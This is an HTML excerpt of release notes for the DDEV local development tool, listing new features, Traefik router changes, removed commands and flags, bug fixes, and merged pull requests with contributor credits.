<li>Add <a href="https://docs.ddev.com/en/stable/users/quickstart/#codeigniter" rel="nofollow">CodeIgniter</a> project type, thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Franky5831/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Franky5831">@Franky5831</a></li>
<li>Experimental support for <strong>Podman</strong> and <strong>Docker Rootless</strong>, see <a href="https://ddev.com/blog/podman-and-docker-rootless/" rel="nofollow">Podman and Docker Rootless in DDEV</a></li>
<li><a href="https://github.com/ddev/ddev-frankenphp"><code>ddev-frankenphp</code></a> is an official add-on with many improvements, see updated <a href="https://ddev.com/blog/using-frankenphp-with-ddev/" rel="nofollow">Using FrankenPHP with DDEV</a></li>
</ul>
<h2>Features</h2>
<ul>
<li>New <a href="https://docs.ddev.com/en/stable/users/quickstart/#wagtail-python-generic" rel="nofollow">Wagtail (Python, Generic)</a> quickstart</li>
<li>Added Drupal 12 project type (development branch). Drupal 12 has not yet been released, but it's showing up in developer builds already.</li>
<li>New <code>--no-cache</code> flag for <code>ddev start</code> and <code>ddev restart</code> (as an alternative to <code>ddev utility rebuild</code>)</li>
<li>Improved support for non-Codespaces devcontainers</li>
<li>Refactored <code>ddev add-on</code> subcommands with a fallback mechanism to avoid GitHub API rate limits</li>
<li>Much faster <code>ddev add-on list</code> and <code>ddev add-on search</code></li>
<li>Shell autocompletion for <code>ddev add-on get &lt;TAB&gt;</code></li>
<li>SELinux enviroment detection (auto <a href="https://docs.docker.com/engine/storage/bind-mounts/#configure-the-selinux-label" rel="nofollow">SELinux label</a> for bind mounts)</li>
<li>Support for additional SSH config files (<code>*.conf</code>) in <code>.ddev/homeadditions/.ssh/config.d</code> (global or project-level), see <a href="https://docs.ddev.com/en/stable/users/extend/in-container-configuration/#ssh-configuration" rel="nofollow">SSH confugation</a>, thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/codebymikey/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/codebymikey">@codebymikey</a></li>
<li>More portable database collations. Databases imported and exported from newer MySQL and MariaDB are less likely to have problems with proprietary collations like <code>utf8mb4_0900_ai_ci</code> and <code>utf8mb4_uca1400_ai_ci</code> as they use more traditional collations in DDEV.</li>
<li>DBeaver support for traditional Windows, thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ddubau/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ddubau">@ddubau</a></li>
</ul>
<h2>Traefik Router Features, Fixes, and Breaking Changes</h2>
<ul>
<li>Project Traefik configuration is now standardized to a single file: <code>.ddev/traefik/config/&lt;projectname&gt;.yaml</code> (all other files are ignored). See <a href="https://github.com/ddev/ddev/issues/8047" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8047/hovercard">issue #8047</a>.</li>
<li>Add any global Traefik configuration inside the <code>$HOME/.ddev/traefik/custom-global-config/</code> directory</li>
<li>Removed <code>defaultRuleSyntax: v2</code> and <code>ruleSyntax: v3</code> from Traefik configs. Traefik v3 syntax is now used by default.</li>
<li>Traefik configuration errors now show warnings instead of failing hard</li>
<li>Improved Traefik health checks for more reliable router verification</li>
<li>Prevent unnecessary router recreation when bound ports are unchanged</li>
<li><code>ddev-router</code> is no longer stopped automatically when the last project is stopped, use <code>ddev poweroff</code> to fully stop the router</li>
<li>Traefik monitoring port is now bound to localhost only, thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JUVOJustin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JUVOJustin">@JUVOJustin</a></li>
<li>Paused or stopped projects are excluded from Traefik configuration</li>
<li>Bypass router port checks when all ports appear busy (for example, when endpoint security software intercepts localhost traffic)</li>
</ul>
<h2>Breaking Changes / Removals</h2>
<ul>
<li>Default <code>xhprof_mode</code> changed from "prepend" to "xhgui" but you can easily change it back</li>
<li>Removed <code>ddev utility capabilities</code>, use <a href="https://docs.ddev.com/en/stable/users/configuration/config/#ddev_version_constraint" rel="nofollow"><code>ddev_version_constraint</code></a> instead in add-ons.</li>
<li>Removed NFS support, use <a href="https://docs.ddev.com/en/stable/users/install/performance/#filesystem-performance-mutagen" rel="nofollow">Mutagen</a></li>
<li>Removed <code>ddev service</code>, custom services can be installed/uninstalled via <a href="https://docs.ddev.com/en/stable/users/usage/commands/#add-on" rel="nofollow"><code>ddev add-on</code></a></li>
<li>Removed <code>ddev nvm</code>, install the <a href="https://github.com/ddev/ddev-nvm"><code>ddev-nvm</code></a> add-on if needed</li>
<li>Removed obsolete or non-functional commands and command aliases:
<ul>
<li><code>ddev restore-snapshot</code></li>
<li><code>ddev auth pantheon</code></li>
<li><code>ddev config pantheon</code></li>
</ul>
</li>
<li>Removed obsolete <code>ddev config</code> flags:
<ul>
<li><code>--mutagen-enabled</code> (use <code>--performance-mode=mutagen</code>)</li>
<li><code>--upload-dir</code> (use <code>--upload-dirs</code>)</li>
<li><code>--db-image</code>, <code>--db-image-default</code> (never documented or used)</li>
</ul>
</li>
<li>Removed deprecated <code>ddev config</code> flag aliases:
<ul>
<li><code>--http-port</code> → <code>--router-http-port</code></li>
<li><code>--https-port</code> → <code>--router-https-port</code></li>
<li><code>--mailhog-port</code> → <code>--mailpit-http-port</code></li>
<li><code>--mailhog-https-port</code> → <code>--mailpit-https-port</code></li>
<li><code>--projectname</code> → <code>--project-name</code></li>
<li><code>--projecttype</code>, <code>--apptype</code> → <code>--project-type</code></li>
<li><code>--sitename</code> → <code>--project-name</code></li>
<li><code>--image-defaults</code> → <code>--web-image-default</code></li>
</ul>
</li>
<li>Removed <code>nginx.org</code> repository from <code>ddev-webserver</code>, now using nginx from the Debian Trixie repository</li>
<li>Migrated all APT repositories in <code>ddev-webserver</code> from legacy <code>*.list</code> files to <code>*.sources</code> (deb822) format</li>
</ul>
<h2>Bug Fixes</h2>
<ul>
<li>Fixed <code>ddev heidisql</code> support for multiple databases</li>
<li>Fixed PostgreSQL builds when overriding the database username</li>
<li>Fixed Windows installer behavior on non-English Windows locales</li>
<li>Improved Bash detection for non-admin Windows installations</li>
<li>Fixed <code>host.docker.internal</code> IP detection for WSL2 mirrored mode with virtual adapters present</li>
<li>Fixed conflicts between <code>HostWorkingDir</code> and <code>WebWorkingDir</code> affecting <code>ddev npm</code>, thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/crowjake/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/crowjake">@crowjake</a></li>
<li>Fixed support for <code>PKCS#8</code> keys in <code>ddev auth ssh</code></li>
<li>Fixed <code>ddev snapshot</code> command for <code>postgres:9</code></li>
<li>Create Docker volumes only for the configured database type</li>
<li>Fixed <code>ddev xdebug</code>, <code>ddev xhprof</code>, and <code>ddev blackfire</code> handlers for the <a href="https://github.com/ddev/ddev-frankenphp">ddev-frankenphp</a> add-on</li>
<li>Fixed <code>ddev snapshot</code> failure when run immediately after <code>ddev snapshot restore</code></li>
<li>Always show the correct project name in <code>ddev mutagen st</code>, thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/agviu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/agviu">@agviu</a></li>
<li>Warn about non-persistent changes when using <code>ddev composer self-update</code> and <code>ddev composer global</code></li>
<li>Added support for <code>COMPOSER_NO_SECURITY_BLOCKING=1</code> in <code>ddev composer</code></li>
<li>Run <code>post-create-project-cmd</code> for plugin events in <code>ddev composer create-project</code></li>
<li>Improved <code>log-stderr.sh</code> reporting during <code>ddev start</code></li>
<li>Skip poweroff prompts when containers are already stopped during version upgrades</li>
<li>Fixed database port type in TYPO3 settings, thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BreathCodeFlow/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BreathCodeFlow">@BreathCodeFlow</a></li>
<li>Detect and warn about multiple global config directories during <code>ddev start</code></li>
</ul>
<h2>Minor Updates</h2>
<ul>
<li>PHP 8.3.30, 8.4.17, and 8.5.2</li>
<li>Docker Compose v5.0.2</li>
<li>Updated <a href="https://docs.ddev.com/en/stable/users/quickstart/#generic" rel="nofollow">Generic</a> webserver quickstart</li>
<li>Add <code>APP_FULL_BASE_URL</code> for CakePHP, thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ajibarra/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ajibarra">@ajibarra</a></li>
<li>Updated Lagoon provider instructions with sync configuration, thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/froboy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/froboy">@froboy</a></li>
<li>Added Cloudflare WARP networking instructions, thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lguigo22/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lguigo22">@lguigo22</a></li>
<li>Updated Ibexa DXP installation steps, thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/adriendupuis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/adriendupuis">@adriendupuis</a></li>
<li>Added troubleshooting guidance for endpoint security interfering with Xdebug, thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joelpittet/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joelpittet">@joelpittet</a></li>
<li>Replaced <code>github.com/docker/docker</code> with <code>github.com/moby/moby/client</code> and <code>github.com/moby/moby/api</code></li>
</ul>
<h2>What's Changed</h2>
<ul>
<li>test: Allow overriding ignore expiring keys [skip buildkite] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3595807650" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7803" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7803/hovercard" href="https://github.com/ddev/ddev/pull/7803">#7803</a></li>
<li>test: Improve TestHasConfigNameOverride so it doesn't leave projects after completion, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3588095046" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7797" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7797/hovercard" href="https://github.com/ddev/ddev/issues/7797">#7797</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3594876628" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7798" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7798/hovercard" href="https://github.com/ddev/ddev/pull/7798">#7798</a></li>
<li>test: don't check for expiring keys in forks, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3595807650" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7803" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7803/hovercard" href="https://github.com/ddev/ddev/pull/7803">#7803</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3608140893" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7831" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7831/hovercard" href="https://github.com/ddev/ddev/pull/7831">#7831</a></li>
<li>build(deps): bump golangci/golangci-lint-action from 8 to 9 by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3608833112" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7832" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7832/hovercard" href="https://github.com/ddev/ddev/pull/7832">#7832</a></li>
<li>fix(heidisql): use <code>--databases</code> flag only when needed, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3607926680" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7829" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7829/hovercard" href="https://github.com/ddev/ddev/issues/7829">#7829</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3608027114" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7830" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7830/hovercard" href="https://github.com/ddev/ddev/pull/7830">#7830</a></li>
<li>docs: add missing dot in <code>.ddev/.env.*</code> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yanniboi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yanniboi">@yanniboi</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3607674219" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7828" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7828/hovercard" href="https://github.com/ddev/ddev/pull/7828">#7828</a></li>
<li>fix(postgres): use placeholder for username, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3606943756" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7820" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7820/hovercard" href="https://github.com/ddev/ddev/issues/7820">#7820</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3607502251" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7827" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7827/hovercard" href="https://github.com/ddev/ddev/pull/7827">#7827</a></li>
<li>docs: remove community examples link in documentation by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/weitzman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/weitzman">@weitzman</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3610507416" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7834" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7834/hovercard" href="https://github.com/ddev/ddev/pull/7834">#7834</a></li>
<li>refactor: improve <code>ddev auth ssh</code> readability and reuse cmd in tests by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3605453229" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7816" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7816/hovercard" href="https://github.com/ddev/ddev/pull/7816">#7816</a></li>
<li>test(quickstart): check for new FrankenPHP headers by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3612250250" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7836" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7836/hovercard" href="https://github.com/ddev/ddev/pull/7836">#7836</a></li>
<li>docs: Update Docker connection failure explanations with more on docker context ls by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3610102452" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7833" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7833/hovercard" href="https://github.com/ddev/ddev/pull/7833">#7833</a></li>
<li>chore(images): Remove image build for ddev-nginx-proxy-router by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3606713843" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7818" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7818/hovercard" href="https://github.com/ddev/ddev/pull/7818">#7818</a></li>
<li>chore: Remove <code>ddev utility capabilities</code> command completely, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="2960861536" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7174" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7174/hovercard" href="https://github.com/ddev/ddev/issues/7174">#7174</a> by @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3603683200" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7814" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7814/hovercard" href="https://github.com/ddev/ddev/pull/7814">#7814</a></li>
<li>build: fix getopt detection on macOS by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/deviantintegral/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/deviantintegral">@deviantintegral</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3616760281" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7846" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7846/hovercard" href="https://github.com/ddev/ddev/pull/7846">#7846</a></li>
<li>docs: Add Claude Code for Web environment configuration guide [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3613230423" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7838" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7838/hovercard" href="https://github.com/ddev/ddev/pull/7838">#7838</a></li>
<li>chore(traefik): Remove redundant Traefik rule syntax configuration, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3606964158" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7822" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7822/hovercard" href="https://github.com/ddev/ddev/issues/7822">#7822</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3607031328" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7823" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7823/hovercard" href="https://github.com/ddev/ddev/pull/7823">#7823</a></li>
<li>chore: Remove NFS support for v1.25.0, remove unused CircleCI config, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3603678152" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7810" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7810/hovercard" href="https://github.com/ddev/ddev/issues/7810">#7810</a> by @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3603679025" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7811" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7811/hovercard" href="https://github.com/ddev/ddev/pull/7811">#7811</a></li>
<li>build: use debian:trixie as base for ddev-webserver by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3443242404" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7649" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7649/hovercard" href="https://github.com/ddev/ddev/pull/7649">#7649</a></li>
<li>fix(heidisql): add default <code>--databases=db</code> to postgres, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3608027114" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7830" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7830/hovercard" href="https://github.com/ddev/ddev/pull/7830">#7830</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/raphaelportmann/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/raphaelportmann">@raphaelportmann</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3616947637" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7847" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7847/hovercard" href="https://github.com/ddev/ddev/pull/7847">#7847</a></li>
<li>test(timezone): Windows may show 'Universal' instead of UTC by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3618655010" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7848" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7848/hovercard" href="https://github.com/ddev/ddev/pull/7848">#7848</a></li>
<li>build(deps): bump docker to v29 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3611743898" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7835" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7835/hovercard" href="https://github.com/ddev/ddev/pull/7835">#7835</a></li>
<li>test(share): Fix TestShareCmd to handle non-string types in JSON logs by @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3621556499" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7851" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7851/hovercard" href="https://github.com/ddev/ddev/pull/7851">#7851</a></li>
<li>fix: remove trailing comma from schema.json by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3620741092" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7850" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7850/hovercard" href="https://github.com/ddev/ddev/pull/7850">#7850</a></li>
<li>fix: Disable 64-bit file system redirection in Windows installer Section to access wsl.exe by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3613492688" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7839" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7839/hovercard" href="https://github.com/ddev/ddev/pull/7839">#7839</a></li>
<li>test(typo3): Fix Apache version of TYPO3 TestDdevFullSiteSetup and untarring symlinks, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3548109039" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7754" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7754/hovercard" href="https://github.com/ddev/ddev/issues/7754">#7754</a>, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="2842752869" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/6972" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/6972/hovercard" href="https://github.com/ddev/ddev/issues/6972">#6972</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3606439641" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7817" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7817/hovercard" href="https://github.com/ddev/ddev/pull/7817">#7817</a></li>
<li>test(pantheon): fix TestPantheonPush, which was broken by composer 2.9 [skip buildkite] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3623124667" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7854" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7854/hovercard" href="https://github.com/ddev/ddev/pull/7854">#7854</a></li>
<li>test: Add CI tests for ddev-hostname with passwordless sudo, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3586971253" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7795" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7795/hovercard" href="https://github.com/ddev/ddev/issues/7795">#7795</a> [skip buildkite] by @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3623170551" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7855" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7855/hovercard" href="https://github.com/ddev/ddev/pull/7855">#7855</a></li>
<li>test: prevent panic in TestDownloadAndExtractTarball when cleanup is nil, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3447199766" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7652" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7652/hovercard" href="https://github.com/ddev/ddev/issues/7652">#7652</a> by @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3623182052" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7857" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7857/hovercard" href="https://github.com/ddev/ddev/pull/7857">#7857</a></li>
<li>chore: Change xhprof_mode default from prepend to xhgui, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3603673779" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7808" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7808/hovercard" href="https://github.com/ddev/ddev/issues/7808">#7808</a> by @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3603674354" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7809" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7809/hovercard" href="https://github.com/ddev/ddev/pull/7809">#7809</a></li>
<li>docs: clarify instructions for disabling mutagen on a single project by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/q0rban/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/q0rban">@q0rban</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3626113413" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7861" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7861/hovercard" href="https://github.com/ddev/ddev/pull/7861">#7861</a></li>
<li>test: Can't do ddev-hostname on WSL2 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3626004990" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7860" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7860/hovercard" href="https://github.com/ddev/ddev/pull/7860">#7860</a></li>
